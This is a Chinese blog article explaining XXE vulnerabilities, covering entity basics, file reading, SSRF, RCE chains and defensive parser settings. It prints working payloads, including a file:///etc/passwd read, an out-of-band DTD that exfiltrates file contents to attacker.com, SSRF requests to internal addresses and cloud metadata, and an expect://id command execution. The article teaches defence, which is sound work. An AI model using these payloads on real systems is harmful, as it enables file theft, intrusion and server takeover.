一、XXE 漏洞概述
XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的安全漏洞。当应用程序允许引用外部实体且未对其加以限制时,攻击者便可通过构造恶意 XML 文档,读取服务器本地文件、发起内网探测,甚至在特定条件下实现远程命令执行。
XXE 漏洞长期位居 OWASP Top 10 榜单之中,尽管现代开发框架已默认关闭外部实体解析,但在大量遗留系统、企业级中间件以及文件解析接口中,XXE 仍然是一个高频且危害极大的攻击面。
二、XML 实体与 DTD 基础
要理解 XXE,必须先掌握 XML 实体与 DTD 的基本概念。
2.1 内部实体
DTD(Document Type Definition)允许在文档内部定义实体,用于文本替换:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY name "hello">
]>
<root>&name;</root>
上述 XML 解析后,&name; 会被替换为 hello。
2.2 外部实体
外部实体通过 SYSTEM 或 PUBLIC 关键字引用外部资源:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
当解析器处理该文档时,会将 /etc/passwd 的内容加载并替换到 &xxe; 位置。如果应用程序将解析结果回显给用户,攻击者便可直接读取文件内容——这就是最经典的 XXE 文件读取。
三、从文件读取到 SSRF
3.1 任意文件读取
利用 file:// 协议,攻击者可以读取服务器上的任意文件:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
除了 /etc/passwd,攻击者还可能读取配置文件、密钥文件、源码等敏感信息。在 Java 环境中,还可以结合 jar:// 或 netdoc:// 协议读取更多资源。
3.2 盲注 XXE
当应用程序不直接回显解析结果时,可以使用带外(OOB)技术。攻击者构造外部实体指向自己的服务器,通过 DNS 或 HTTP 请求将数据外带:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>
其中 evil.dtd 内容为:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
这样,文件内容会作为 URL 参数发送到攻击者服务器。
3.3 SSRF 攻击
将外部实体指向内网地址,即可实现 SSRF:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
]>
<root>&xxe;</root>
攻击者可以利用 XXE 探测内网服务、访问云元数据接口(如 http://169.254.169.254/latest/meta-data/),甚至结合 Redis、Memcached 等内网服务进行进一步利用。
四、从 SSRF 到 RCE
XXE 本身并不直接执行命令,但在特定环境下,可以借助协议处理器或内网服务实现 RCE。
4.1 PHP expect 扩展
如果 PHP 环境安装了 expect 扩展,攻击者可以直接执行命令:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
4.2 Java 环境下的利用
在 Java 中,如果应用使用了支持 jar:// 协议的解析器,攻击者可以结合 jar:// 与 ftp:// 实现远程类加载,进而触发反序列化或代码执行。此外,通过 SSRF 攻击内网中的 Jenkins、FastCGI 等服务,也可以间接实现 RCE。
4.3 结合内网服务
例如,通过 XXE SSRF 访问内网 Redis 的未授权接口,写入 SSH 公钥或计划任务,最终获得服务器权限。虽然这一链条依赖于内网环境的具体配置,但在真实渗透中屡见不鲜。
五、防御措施
5.1 禁用外部实体
最根本的防御方式是禁用 DTD 和外部实体。以 Java 为例:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
5.2 使用安全的解析库
优先使用不解析外部实体的 JSON 替代 XML,或使用经过安全配置的 XML 解析库。Python 中可使用 defusedxml,PHP 中应避免使用 libxml_disable_entity_loader 已废弃的方案,转而使用 LIBXML_NONET 等选项。
5.3 输入验证与白名单
对用户提交的 XML 内容进行严格校验,拒绝包含 <!DOCTYPE、<!ENTITY 等敏感声明的输入。
5.4 网络层隔离
限制服务器对外发起网络请求的能力,禁止访问内网地址和云元数据接口,降低 SSRF 的影响面。
六、总结
XXE 漏洞的危害远不止于文件读取。从任意文件读取到 SSRF 内网探测,再到结合特定环境实现 RCE,XXE 构成了一条完整的攻击链。其核心在于 XML 解析器对外部实体的信任——一旦攻击者能够控制 XML 输入,且解析器未禁用外部实体,整个链条便可能被逐级触发。
对于开发者而言,理解 XXE 的利用方式与防御策略,是构建安全 XML 处理逻辑的前提。对于安全从业者,掌握从文件读取到 RCE 的完整利用思路,有助于在渗透测试中更全面地评估目标风险。无论站在哪一方,XXE 都值得被认真对待。
未经允许不得转载:任鹏个人博客 » XXE 漏洞深度解析:从文件读取到 SSRF 与 RCE 的完整利用链

